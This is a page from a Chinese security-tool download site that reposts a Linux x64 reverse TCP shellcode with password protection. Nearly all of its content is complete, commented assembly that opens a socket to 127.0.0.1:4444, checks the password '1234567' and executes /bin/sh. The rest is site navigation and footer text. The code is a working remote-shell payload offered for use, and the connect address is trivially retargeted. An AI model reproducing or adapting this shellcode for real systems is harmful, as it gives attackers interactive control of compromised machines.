ce安全网绿色资源分享

教程资讯|常用软件|安卓下载|下载排行|最近更新

软件
软件
文章
当前位置:首页网络安全网络安全工具 → Linux/x64 – Reverse TCP (127.0.0.1:4444/TCP) Shell (/bin/sh) + Password (1234567) Shellcode 【黑客漏洞&网络
Linux/x64 – Reverse TCP (127.0.0.1:4444/TCP) Shell (/bin/sh) + Password (1234567) Shellcode 【黑客漏洞&网络

Linux/x64 – Reverse TCP (127.0.0.1:4444/TCP) Shell (/bin/sh) + Password (1234567) Shellcode 【黑客漏洞&网络

评分:
下载地址
  • 软件介绍
  • 软件截图
  • 同类推荐
  • 相关文章

软件Tags: [db:tag]

Linux/x64 - Reverse TCP (127.0.0.1:4444/TCP) Shell (/bin/sh) + Password (1234567) Shellcode 【黑客漏洞&网络安全漏洞】

global _start

_start:

; sock = socket(AF_INET, SOCK_STREAM, 0)
; AF_INET = 2
; SOCK_STREAM = 1
; syscall number 41

push 41
pop rax
push 2
pop rdi
push 1
pop rsi
cdq
syscall

; copy socket descriptor to rdi for future use
xchg rdi, rax

; server.sin_family = AF_INET
; server.sin_port = htons(PORT)
; server.sin_addr.s_addr = inet_addr("127.0.0.1")
; bzero(&server.sin_zero, 8)

push rdx ; already zeroed by "cdq" instruction
mov rbx, 0xfeffff80a3eefffd
not rbx
push rbx

; connect(sock, (struct sockaddr *)&server, sockaddr_len)

push rsp
pop rsi
mov al,42
mov dl,16
syscall

; duplicate sockets

; dup2 (new, old)

push 3
pop rsi
dup2cycle:
mov al, 33
dec esi
syscall
loopnz dup2cycle

; read passcode
; xor rax,rax - already zeroed out by prev cycle
xor rdi,rdi
push rax
push rsp
pop rsi
mov dl,8
syscall

; Authentication with password "1234567"
xchg rcx,rax
mov rbx,0x0a37363534333231
push rbx
push rsp
pop rdi
repe cmpsb
jnz wrong_pwd

; execve stack-method

push 59
pop rax
cdq ; extends rax sign into rdx, zeroing it out
push rdx
mov rbx, 0x68732f6e69622f2f
push rbx
push rsp
pop rdi
push rdx
push rsp
pop rdx
push rdi
push rsp
pop rsi
syscall

wrong_pwd:
nop

展开内容

软件截图

下载地址

  • PC版

推荐文章

用户评论

验证码:

请自觉遵守互联网相关政策法规,评论内容只代表网友观点,与本站立场无关!

最新评论

已有人参与,点击查看更多精彩评论

关于CE安全网 | 联系方式 | 发展历程 | 版权声明 | 下载帮助(?) | 广告联系 | 网站地图 | 友情链接

Copyright 2019-2029 cesafe.com 【CE安全网】 版权所有 蜀ICP备19039426号-2| 蜀ICP备19039426号-2

声明: 本站为非赢利性网站 不接受任何赞助和广告 所有软件和文章来自互联网 如有异议 请与本站联系 技术支持:ce安全网